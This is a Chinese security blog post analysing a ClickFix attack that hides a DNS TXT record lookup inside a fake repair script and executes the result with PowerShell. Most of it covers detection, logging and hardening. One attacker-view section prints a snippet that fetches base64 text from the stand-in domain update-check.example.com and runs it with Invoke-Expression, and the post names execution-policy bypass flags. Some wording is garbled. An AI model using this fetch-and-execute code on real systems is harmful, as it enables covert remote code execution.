最近在跟踪恶意样本的过程中有一个样本让我印象很深一个打着系统修复旗号的小工具在用户点击一键修复之后悄悄从DNS服务器拉取了一段内容并执行。整个过程没有利用任何高危漏洞全是Windows自带功能却在流量侧几乎不留痕迹。这个手法就是标题里提到的Click Fix脚本 DNS TXT记录 PowerShell三个元素单看都不算新鲜但组合在一起就成了攻击者手里相当顺手的链条。这篇文章我想从攻防两侧把这个链条完整拆开。先讲攻击者的设计思路再讲每个技术环节是怎么串起来的然后结合我自己的排查经验说清楚作为防守方该盯哪些地方。适合正在做终端安全、威胁狩猎或者只是对网络攻击手法感兴趣的读者看完至少能搞明白这类攻击为什么难发现以及日志里的哪些针脚才是真正的破绽。1. 攻击链路全貌三个要素为什么会被拼在一起1.1 Click Fix脚本为什么会成为攻击者的载体Click Fix这个名字字面意思就是点击即修复。市面上有大量打着这类旗号的小工具、批处理脚本、PowerShell脚本用户遇到DNS缓存问题、网络重置、系统组件异常时往往会被引导运行这些修复脚本。这些脚本的共同特点就是功能单一、代码较长、流程繁琐绝大多数用户根本不会逐行去读内容。攻击者盯上这个场景理由非常直白。一方面这类脚本天然带有官方修复工具的信任感用户是带着我要修东西的心态主动运行的主动执行和被动触发之间的安全边界是完全不同的另一方面修复类脚本涉及系统配置修改、服务重启、注册表调整等敏感操作脚本里混入一些看似合理的逻辑视觉上并不突兀。我见过一个很典型的伪装思路脚本前面先正儿八经清一遍DNS缓存、刷新一下网络设置跑完这些常规操作后夹在中间的某个函数会解析一个域名把TXT记录取回来交给PowerShell执行。用户看到窗口里滚动着熟悉的修复流程根本不会意识到那段隐藏逻辑已经在后台做了别的事。这种借壳手法之所以有效是因为它利用了用户对工具类型本身的信任而不是单纯依赖技术对抗。从攻击链的角度看Click Fix脚本只是整个链条的触发器。它要解决的核心问题是如何把恶意代码带到目标机器上同时不让用户起疑。通过钓鱼邮件、论坛帖子、即时通讯群聊或者搜索引擎广告投放都是常见的分发途径。一旦用户手动运行后面的环节才依次展开。1.2 DNS TXT记录被当成中转数据站的原因DNS是互联网的基础设施每台终端每时每刻都在产生DNS查询流量。TXT记录是很早就在使用的记录类型最初用于存储人类可读的说明文本后来广泛用于SPF发信校验、域名验证等场景。因为它是为任意文本设计的、查询本身非常普通所以很多安全设备的策略对TXT记录的关注度远不如HTTP请求。攻击者把DNS TXT记录当作数据中转站核心思路是利用正常协议传递异常负载。他们把要执行的PowerShell命令片段拆进TXT记录里等脚本运行时再通过DNS查询取回来组装。这样做有几个实际好处不引入额外的攻击服务器。攻击者只要有一个自己控制的域名就能通过DNS服务商管理面板随时修改TXT记录内容不用搭建WEB服务器也不用担心IP暴露和封禁。流量形态极其普通。终端发起一条查询A域名的TXT记录的请求看起来和系统做SPF校验、邮件安全检测没有本质区别穿过多层常规监控时不容易被单独挑出来。载荷可以在运行期动态更新。攻击者可以先把脚本分发出去等脚本在目标机器上跑起来后再修改TXT记录直接改变最终执行的命令内容而已经分发的脚本本身不需要重新变种。说直白一点DNS TXT记录在这里承担的角色就是一条看起来像正常业务数据的高速公路。它能完成数据传输又不容易被闸口的检查人员注意到对攻击者来说性价比很高。1.3 PowerShell为什么会成为执行的终点PowerShell是Windows自带的脚本和自动化管理框架几乎所有管理员都依赖它做日常运维。问题在于攻击者也同样依赖它。PowerShell的能力范围覆盖文件操作、进程管理、网络请求、注册表读写、内存加载汇编代码等等几乎可以执行任何后续阶段所需的操作。在这个攻击链里PowerShell扮演的是最终落实者。DNS TXT记录里存的是一段PowerShell命令Click Fix脚本取到这段命令后交给PowerShell解释器执行。从这里开始攻击者可以获得远程下载其他木马、收集系统信息、创建持久化任务、横向移动等所有后续能力。有时候攻击者还会在TXT记录里再套一层base64编码有些甚至把命令打散成多段分次查询。这样做的目的一方面是规避基于恶意字符串特征匹配的静态检测另一方面是增加蓝队分析时的还原成本。整个过程从头到尾都和Windows的原生功能绑定不需要额外安装任何第三方组件能让攻击链保持极简。2. 核心技术拆解每一环是怎么工作的2.1 DNS TXT记录的知识点与隐蔽传输原理TXT记录的常规应用大家应该不陌生比如邮箱的SPF记录就是一条TXT记录用来声明哪些IP允许发送该域名的邮件。但TXT记录的存储内容并没有硬性限制RFC 1035里它被定义成描述性文本单条记录理论上可以承载相当大的数据量。攻击者执行DNS TXT记录方案时大致是按这样的流程来做注册一个看起来不那么可疑的域名。域名的命名往往会往网络运维、系统服务、软件更新等方向靠例如update-check.xxx.com之类的形式。在DNS管理界面添加一条或多条TXT记录把整理好的PowerShell命令转成base64文本写进去。脚本在受害终端查询这条TXT记录。收到查询结果后脚本用Resolve-DnsName或nslookup把记录内容取回再交给PowerShell执行。我之前在样本里看到过一种颇为极端的用法攻击者把TXT记录的版本号字段伪装成配置版本一次查询拿到内容后还会在脚本里写一个判断逻辑只有版本号匹配时才执行否则静默退出。这个设计意图很明显是为了避开沙箱环境里的路线探测。沙箱在模拟执行脚本时如果没有预先准备好对应的TXT记录版本执行链条就会中断在查询之后攻击者也就规避了一次被深度分析的机会。还有一个隐蔽点是查询来源。DNS查询通常走系统的默认解析器也就是终端上配置的DNS服务器。很多安全团队会把DNS日志收集到SIEM里但单个TXT查询淹没在每天数以万计的普通域名查询中如果不针对异常域名、超长TXT响应做专门规则基本不会有人注意到。为什么说DNS TXT通道比HTTP下载更隐蔽一个很直观的对比终端访问一个IP下载可执行文件无论流量加密与否都能在代理日志里看到源IP、目标IP、会话时长和传输字节量。但DNS查询通常走UDP 53端口单个查询本身几十字节响应数据分散在一条或几条记录里从流量层看完全不具备下载文件的特征。很多单位根本没有留存完整DNS应答内容的机制只有查询域名和解析结果的日志这进一步加大了溯源难度。2.2 PowerShell命令执行背后的机制PowerShell在Windows里的权限和可用性决定了它成为恶意命令落地的首选。理解这个环节得先厘清几个关键点执行策略不是坚硬的墙。很多文档告诉用户把执行策略设为Restricted就安全但攻击者早就有一堆绕过方式。最典型的就是在启动进程时加参数-ExecutionPolicy Bypass或者在命令行里拼一次交互式绕过。这是一种非常常见却被低估的初级手段。PowerShell本身记录了脚本日志但默认覆盖度不够。Windows的PowerShell有ScriptBlock日志Event ID 4104和模块日志Event ID 4103记录脚本内容和执行上下文。不过这些日志是否启用、记录粒度如何取决于系统配置和组策略。没有预先开启脚本块日志的终端很难还原攻击者执行的那段命令原文。内存加载是最让检测工具头疼的部分。PowerShell可以直接通过Invoke-Expression执行字符串也可以配合System.Reflection.Assembly::Load把二进制字节数组加载进内存运行。整个过程不会在磁盘上留下新的可执行文件这让基于文件查杀的方案几乎失效。在这条攻击链里PowerShell承担的角色非常清晰它把DNS TXT记录里的文本变成实际动作。可以是下载一个远程木马可以是写入计划任务做持久化也可以是枚举域内信息并回传。攻击者选PowerShell而不是cmd看中的就是它的网络请求能力、对象处理能力和内存加载能力几行代码就能衔接完整后渗透链路。2.3 一条隐秘通道的绕过检测逻辑如果把攻击链整体拉高了看真正有意思的是它的绕过设计。整个方案在多个层面刻意避开了常规检测点静态查杀层面恶意命令不直接出现在脚本文件里而是外置在DNS记录中。静态特征匹配扫描不到完整的恶意字符串。流量监控层面HTTP/S代理日志里没有可疑下载行为只有看似普通的DNS查询。DNS协议本身通常不会被深度解密检查。行为检测层面如果沙箱环境无法实时访问攻击者控制的DNS服务器或者查询到的TXT记录内容与真实环境不一致恶意行为就不会触发。这个组合思路其实和很多高阶攻击的核心思想一致不追求单个环节有多隐蔽而是追求整条链路在每一个单独观察维度上都像正常行为。单看Click Fix脚本它可能只有一段看似无害的DNS查询函数单看DNS日志只有一条TXT查询单看PowerShell日志如果不完整甚至什么都看不到。只有把这三个维度串联起来才能看到攻击全貌。3. 攻击流程实操复盘从攻击者视角看整条链的落地3.1 攻击准备阶段的设施搭设站在攻击者的角度看整条链路的准备工作其实不复杂。第一步是准备域名。出于成本考虑攻击者通常不会用那些明显异常的免费域名而会注册一个与自己的伪装故事贴合的名称。如果伪装成系统工具更新域名里就会带update、status这些字眼如果伪装成CDN节点域名就会起得和CDN服务商的命名风格接近。有些攻击者还会直接把域名托管在正规DNS服务商的网络里让解析路径跟云服务关联。第二步是编辑TXT记录内容。比如准备一个只读命令Get-ComputerInfo或者一段下载执行命令转成base64之后填入TXT记录。在这个过程中攻击者也可以设置多条记录、多级索引实际执行时脚本按索引拼接。这种预置工作本身没有风险因为域名处于源码阶段时安全设备不会去扫描它的TXT内容。第三步是构造Click Fix脚本。脚本需要做到表面安全、内核危险。表面部分包含用户预期中的一站式修复流程刷新DNS、释放续租IP、重置Winsock等等跑起来有模有样。危险部分是穿插在中间的一段函数解析指定域名、获取TXT记录文本、把文本交给PowerShell执行。3.2 脚本构造环节的实现细节让我用一段贴近真实情况的伪代码来说明这个构造思路。攻击者在脚本里通常会写这样一个函数function Get-TextRecord { $domain update-check.example.com $txt (Resolve-DnsName -Name $domain -Type TXT).Strings $payload $txt -join return $payload } $decoded [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String((Get-TextRecord)) ) Invoke-Expression $decoded这中间有几个执行细节值得注意Resolve-DnsName是DNS查询的PowerShell原生接口不依赖外部工具也更不容易触发命令行参数告警。Strings属性拿到的是字符串数组用-join 拼回完整字符串因为TXT记录较长时往往会被拆成多段表达。FromBase64String是解码函数如果攻击者想进一步规避基于敏感命令的检测还可以改用自定义编码做一次解码或者直接在TXT里放纯字符命令避免出现base64这个敏感词。图层回到恶意脚本场景Click Fix脚本往往还带一个运行结束自动关闭窗口的特征或者用Start-Sleep制造一段等待时间模拟正式修复工具的耗时感。这些细节虽然不能直接逃避所有检测却能让受害者在观察阶段放下警觉。3.3 触发到执行的完整链路当受害者在自己的电脑上双击运行这份修复脚本链条就开始全线启动脚本先执行常规修复语句输出正常信息。运行到危险函数时终端发起DNS TXT查询请求攻击者域名的TXT记录。DNS服务器返回攻击者预设的payload文本。脚本解码、拼接把结果交给PowerShell执行。PowerShell加载并执行命令完成后续下载、持久化、信息收集等动作。脚本继续跑完剩余的修复流程正常结束。这个过程有个对攻击者特别有利的特性即使第一步的Click Fix脚本被杀软查杀攻击者只要更换一个脚本壳、保留同一个域名和TXT记录很快就能生成下一代变种。这导致了一个很现实的困境杀软厂商追的都是脚本变种但DNS基础设施却始终在前台看着。3.4 蓝队视角的还原思路作为防守方我拿到一个可疑样本时通常按这套方法来拆解首先看脚本里有没有DNS查询函数。只要在PowerShell或cmd里出现nslookup、Resolve-DnsName、Invoke-WebRequest这类带外部访问能力的调用就要多问一句这个外部域名是否与修复目标有关。其次看查询的域名。把域名扔进威胁情报平台查询解析记录、创建时间和关联样本是快速判断的手法。很多专门做恶意DNS的域名创建时间都很短历史解析也不规律。然后是还原TXT记录内容。如果你已经截获了网络流量可以从PCAP里直接提取DNS响应中的数据段如果只有日志没有包可以尝试主动向该域名发起一次TXT查询。但必须心里有数这种做法会暴露自己的分析行为有些攻击者会在TXT内容里嵌入仅向特定来源解析器回复完整内容的逻辑正式环境里不一定能拿到完整载荷。最后是执行第二段恶意代码的分析。由于TXT记录里的内容往往是命令而非完整木马需要主动构造后续沙箱模拟PowerShell去执行解码后的内容观察网络连接、进程行为、注册表写入等动作。4. 常见问题与排查技巧实录4.1 这类攻击日志中容易漏掉的关键线索在真实的排查过程中最容易漏掉的不是最后执行的那条恶意命令而是中间那条DNS查询。很多团队把采集重点放在Windows事件日志、EDR端点上忽略了DNS服务器上的解析日志这就等于把整条攻击链中最有价值的索引给丢了。我建议在DNS日志侧至少留意这样几个异常同一终端短时间内连续查询同一个域名的TXT记录且查询频率与正常更新行为不符。TXT记录响应长度异常。正常SPF记录或域名校验记录一般不超过几百字节如果响应内容明显偏长很可能是被用来传数据。与业务完全无关的域名突然开始被批量TXT查询。例如内网运维脚本、业务系统从来不访问的域名突然出现查询行为这是强烈的信号。查询域名本身带有明显伪装意图比如刻意模仿知名厂商更新域名且做了细微改动。4.2 终端侧需要盯住的系统日志PowerShell相关的日志是第二道关键防线。建议关注如下几类事件事件ID日志来源说明4104PowerShell ScriptBlock记录脚本内容是还原攻击命令的关键4103PowerShell Module记录模块执行记录有助于确定加载了哪些模块4688进程创建记录新进程创建可关联powershell.exe启动链4698计划任务创建如果攻击者做了持久化这里会留下痕迹4100日志错误有异常操作报错时可能出现实操提醒如果排查时发现目标终端没有开启PowerShell日志可以做的是利用Windows事件日志中的进程创建记录看powershell.exe的父进程是谁。如果父进程是cmd.exe且命令形参里携带-enc或-ep bypass这条行为本身就足够引起警觉。另外启用脚本块日志会显著增加安全团队的现场感知能力。虽然日常运维可能觉得日志量大但在这类攻击面前4104事件几乎是还原真相的最佳通道。4.3 检测规则怎么写得不易误报在编写针对性检测规则时不能只盯着DNS TXT查询或PowerShell执行单独一个条件会产生很多误报。更合理的做法是把多个低置信度条件组合起来条件A终端上出现了Resolve-DnsName -Type TXT进程执行上下文。条件B查询域名的历史解析中只存在TXT记录不存在A记录、AAAA记录。条件C查询域名与当前业务场景无明确关联。条件D脚本整体执行上下文里出现了Invoke-Expression或FromBase64String等调用。三个条件同时命中时这条告警的可信度就高很多。归根到底攻击链的隐蔽性来自单点不显眼但多条件叠加后它暴露的概率就会大幅提升。4.4 这类攻击中常见的变体和绕过场景我在实际跟踪中看到过几种明显的变体值得单独提一下分段拉取型脚本每次查询只取一段TXT记录凑齐多段后才执行。这样做的目的是让单次DNS响应里看不到完整payload增加流量侧提取的难度。域名轮换型每次脚本更新都更换一个新的查询域名旧域名被分析后立刻失活让威胁情报平台的有效期很短。混淆解析型把命令文本编码成十六进制或自定义加密格式再通过TXT记录下发。这种情况下即使流量被完整截获分析者拿到的也是密文。计划任务持久化型PowerShell执行完第一条命令后会写入一个计划任务后续按需重新触发DNS TXT拉取和执行形成周期性活动。这些变体并没有改变攻击链的本质只是把每个环节做得更碎、更隐蔽。防守方只要抓住脚本发起外部DNS查询 查询结果进入PowerShell执行这两个关键交叉点就能把大多数变体兜住。4.5 排查时的几个实战思考关于DNS TXT记录有一个很常见的判断误区低估TXT记录在正常业务里的使用频率。实际上很多组织自己的系统也会用TXT记录做校验和动态配置下发所以不能一看到TXT查询就拉闸。排查时需要先建立组织自己的DNS行为基线哪些域名是业务必要的哪些是出于邮件校验需要剩下的异常才能浮出水面。另外遇到这类攻击时不要只查终端本身。DNS流量是双向的攻击者控制的权威服务器在哪个地域、托管在哪个服务商、同一域名下是否还关联着其他记录这些都是可以顺藤摸瓜的情报来源。很多时候一份域名分析报告比一段恶意代码更值钱因为域名是攻击者反复使用的核心资产代码却可以无穷无尽地变形。5. 后续还可以怎么扩展与加固写到最后想分享几个我在实际操作中验证过有用的延伸方向。第一如果你们单位有条件做内网DNS日志的全量留存建议长期保存完整的DNS应答内容而不只是日志摘要。这个建议一开始听起来很累但遇到需要溯源TXT payload时你会发现它是无价之宝。攻击者可以删除终端上的临时文件可以跳过磁盘写入但很难把早先的DNS应答从服务端瞳掉。第二PowerShell的约束语言模式Constrained Language Mode值得更认真的对待。在CLM限制下很多反射加载和点Net类型直接调用的恶意图会撞墙。这份配置本身不会对日常运维产生不可接受的影响但在对抗恶意PowerShell时会明显提高门槛。第三可以建立一种基于TXT记录异常的专项猎杀。把整个内网所有域名TXT查询记录收集起来用交替句分析出现次数极少、响应长度极长的记录定期跑一遍往往能发现已经潜伏了很久的异常活动。这个行为在日常巡检中只要没做攻击窗口就会一直存在。这段指标中提到的技术点看起来分散但本质上指向同一件事攻击者可以变换脚本写法可以换域名可以改编码方式但只要他想使用DNS TXT下发这条通道就一定会留下DNS侧的异常痕迹。把这条通道的可见性提上来比逐花美地追每个样本变体要高效得多。如果你正在搭建这套检测体系我的建议是从小切口开始不用一上来就上全套平台。先选定一个辅助DNS服务器开启应答日志和TXT内容记录再挂一条针对异常长记录的告警规则然后逐步扩充其他维度。这种做法最贴近实际运营踩过几次坑之后你就会感受到这类攻击从打进去看不见到一进来就有反应的转变那种差异值得投入时间。